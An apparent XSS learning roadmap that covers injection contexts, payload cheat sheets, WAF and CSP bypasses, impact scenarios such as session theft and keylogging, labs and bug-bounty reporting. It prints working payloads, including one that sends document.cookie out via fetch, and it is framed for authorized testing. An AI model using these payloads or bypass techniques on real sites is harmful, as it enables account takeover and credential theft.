🌱
Web Fundamentals (Absolute Foundation)
How Browsers Parse Content ▶
Learn the parse order: HTML → DOM → CSS → layout → JavaScript execution. Know where inline scripts, external scripts, and injected HTML land in the DOM. Browsers normalize broken markup and that normalization often creates injection opportunities.
HTTP, Cookies & Same-Origin Policy ▶
Understand HTTP requests/responses, headers (Content-Type, Set-Cookie), and cookie flags (HttpOnly, Secure, SameSite). Same-Origin Policy determines what a script can access; XSS breaks that trust by running in the victim’s origin.
Developer Tools Practice ▶
Use the browser console, DOM inspector, network panel, sources (breakpoints), and local overrides. Practice editing DOM live, intercepting XHR/fetch, and watching for mutations. These tools are the primary lab environment for XSS work.
🔎
Exact XSS Types — Reflected / Stored / DOM
Reflected XSS — What & How to Test ▶
Payload is sent in a request and immediately reflected in server response.
Where to look: search pages, error messages, query strings, login pages, redirection parameters.
How to confirm: inject a short payload in a parameter and observe it rendered in the response (view source / DOM).
Example test parameter: ?q=<script>alert(1)</script>.
Detection tips: use Burp Repeater to replay requests, check reflected locations in the HTML body and attributes, and use DOM breakpoints to confirm execution.
Stored XSS — Persistence & Attack Surface ▶
Payload is saved on the server (DB, file) and executes for any user that views the stored content.
Common sinks: comments, user profiles, message boards, file names displayed in UI, admin panels that render user content.
Testing: submit payloads in forms that persist; view as other roles (admin, user) and verify execution. Stored XSS often yields higher impact because it affects multiple victims.
DOM XSS — Client-Side Only Risks ▶
All processing occurs in the browser: scripts read data (location, hash, postMessage, storage) and write it unsafely to DOM sinks.
Why it’s sneaky: Server logs may show nothing; standard server scanners often miss these.
How to find: inspect client JS, locate sinks (innerHTML/document.write/eval/setTimeout with string), and trace sources (location.search, location.hash, document.referrer, message events, cookies/localStorage).
🧭
Exhaustive Injection Point Enumeration
Common Parameters & Hidden Vectors ▶
Test not only visible inputs (forms, search, comments) but also:
- Hidden parameters and JSON fields in API responses
- Headers (X-Forwarded-For, Referer) when app echoes them
- File upload names and metadata that render to pages
- WebSocket messages, server-sent events, and iframe srcdoc
Automated Enumeration — Tools & Cautions ▶
Use ffuf/wfuzz to fuzz parameters, Burp Intruder for targeted payloads, and custom scripts for API fuzzing. Automated tools produce false positives; always validate manually in the browser context.
🧩
Contexts & How to Escape Them (Core Skill)
HTML Body Context ▶
When input appears as plain text inside HTML, use tag injection or script tags. Example:
<script>alert(1)</script>. If tags are stripped, look for event handlers or inline elements.Attribute Contexts (e.g., <img src=”…”) ▶
Break out of attributes by injecting quotation marks and event handlers:
" onerror=alert(1) or using encoded quotes. Pay attention to single vs double quotes and attribute escaping.JavaScript String Contexts ▶
When input is injected into JS strings, close the string and add JS:
';alert(1);// or use backticks in template literals. Proper escaping must be applied by developers in these contexts.URL / URI and CSS Contexts ▶
Payloads sometimes appear inside URLs, CSS (style attributes), or as JSON values. Each context has different escaping rules — treat them separately and test carefully.
⚙️
Payload Crafting & Cheat Sheet (Practical)
Quick Starter Payloads ▶
Use these in safe labs to confirm XSS:
<script>alert(1)</script>— basic confirm<img src=x onerror=alert(1)>— attribute/event confirm<svg onload=alert(1)>— alternate tag
Advanced Practical Payloads (Context Aware) ▶
Examples per context (conceptual):
- Attribute: close attribute then add event:
" onmouseover=alert(1) - JS string: end string and append:
';fetch('/exfil?c='+document.cookie);// - Data URIs / SVG: use
data:text/html;base64,...or embedded SVG to bypass tag blocks - Template engines: identify unsafely injected variables and escape/encode accordingly
🕵️
DOM XSS Deep Dive — Sources & Sinks
Common Sources ▶
location.searchandlocation.hashdocument.referrer- postMessage data and messages from iframes
- localStorage / sessionStorage
Dangerous Sinks ▶
Look for usage of:
innerHTML, outerHTML, document.write, eval(), setTimeout(string), insertAdjacentHTML, and DOM APIs that parse HTML. Tracing flow from sources → transformation → sink is the key method.Instrumentation Techniques ▶
Use DOM breakpoints on subtree modifications, override sink functions in console (monkeypatch) to log inputs, or use MutationObserver to detect unsafe updates. Manual tracing of JS logic is often necessary.
♟️
Filter & WAF Bypass Strategies (Advanced)
Encoding & Obfuscation ▶
Try HTML entities, Unicode escapes, mixed case tags, comments inside tags, and double encoding. For example, encode
< as < or use UTF-8 homoglyphs to bypass naive filters.Tag Alternatives (SVG, Math) ▶
Consider less obvious tags:
<svg>, <math>, or <meta> tricks. These tags often contain event handlers that can trigger scripts or load external payloads.Split & Reconstruct Payloads ▶
When WAFs inspect contiguous keywords, split the payload across multiple elements or use DOM operations to reconstruct strings at runtime (e.g., create elements with partial strings then assemble via JS).
🛡️
Content Security Policy (CSP) — Analysis & Common Bypasses
Reading CSP Headers ▶
Inspect
Content-Security-Policy header: look at script-src, style-src, object-src, and directives like unsafe-inline or nonce/sha usage. Misconfigured whitelists are common mistakes.Typical Weaknesses ▶
Weaknesses include: use of
unsafe-inline, allowing data: or blob:, overly permissive host wildcards, or trusting external domains that can be compromised. Nonces and hashes are strong mitigations when used correctly.Practical Bypass Ideas (Authorized Testing Only) ▶
If a page allows trusted script sources, look for ways to inject controlled content into those sources (subdomain takeover, writable storage endpoints, JSONP endpoints, or script includes). Many CSP bypasses require chaining with other bugs (e.g., SSRF or open redirect).
⚠️
Realistic Impact Scenarios
Session Theft & Account Takeover ▶
If cookies are not HttpOnly, scripts can read
document.cookie and exfiltrate session identifiers. If tokens are stored in localStorage, scripts can retrieve and reuse them. Demonstrating account takeover is high impact in bounty reports.Phishing, Keylogging & UI Redress ▶
Inject fake login forms or overlays that mirror the site’s UI to harvest credentials. Use event listeners to capture keystrokes. These techniques show practical user harm and increase report severity.
Persistent Backdoors & Admin Targeting ▶
Stored XSS in admin views can be used to create persistent hooks (beacons) or to perform actions as admin. Demonstrate a safe reproduction; avoid harmful persistence on production systems.
🔗
Chaining XSS with Other Vulnerabilities
XSS + CSRF ▶
Use XSS to craft requests on behalf of a victim (CSRF + XSS removes need for CSRF trickery). This can automate actions (password resets, transfer requests) while authenticated as the victim.
XSS + SSRF / Subdomain Takeover ▶
A chained SSRF or server control can allow full payload hosting or access to internal endpoints. Subdomain takeover may let an attacker host a trusted script resource that bypasses CSP.
XSS to RCE (Rare, but possible) ▶
In unusual setups, XSS can be a stepping stone to remote code execution (e.g., when XSS injects content that a server later executes or through poorly designed templating engines). These conditions are rare and require special environment knowledge.
🧪
Labs, Practice Exercises & Lab Ideas
Ready Platforms ▶
Use DVWA, bWAPP, OWASP Juice Shop, PortSwigger Academy labs and custom Dockerized apps. Build a set of local labs:
- Reflected lab: search parameter that echoes input in HTML
- Stored lab: comments/profile field stored and displayed to others
- DOM lab: single page app that reads location.hash and writes to innerHTML
Advanced Lab Ideas ▶
Create labs that simulate WAFs, CSP headers, and template engine sanitizers. Add graded challenges (easy→hard) with hints and a JSON index for automation. Include a local SMTP to simulate phishing and stored XSS mail flows.
🛠️
Tooling & Automation
Essential Tools ▶
Tools to master: Burp Suite (Proxy, Repeater, Intruder, Collaborator), OWASP ZAP, ffuf/wfuzz for fuzzing, browser devtools for instrumentation, and BeEF for browser hooking in labs. Combine manual testing with scripted fuzzers.
Custom Scripts & Recon ▶
Automate parameter enumeration and context detection, but always manually verify candidate findings. Use lightweight Python scripts to inject context-aware payloads into API endpoints.
📝
Report Writing & Responsible Disclosure
Report Structure (What Works) ▶
Include: Title, Affected URL(s), Vulnerability Type (Reflected/Stored/DOM), Steps to reproduce (concise, numbered), Proof of concept (screenshots + request/response), Impact statement (business risk), Suggested remediation, and severity. Be concise but show real impact beyond
alert(1).Proof of Concept Tips ▶
Provide reproducible steps that an engineer can follow, include exact payloads and request samples, and avoid causing persistent harm on production systems. Offer a safe remediation test or sanitized patch example.
📚
Continuous Research & Community
Keep Learning & Contribute ▶
Follow writeups, payload repos, and new CVEs. Share safe writeups and defensive guidance. Participate in CTFs, publish sanitized PoCs, and refine lab environments to train others.
Ethics & Legal Reminder ▶
Testing without explicit permission is illegal and harmful. Use this knowledge responsibly: in labs, authorized programs, or on assets with written consent. Report vulnerabilities through official program channels.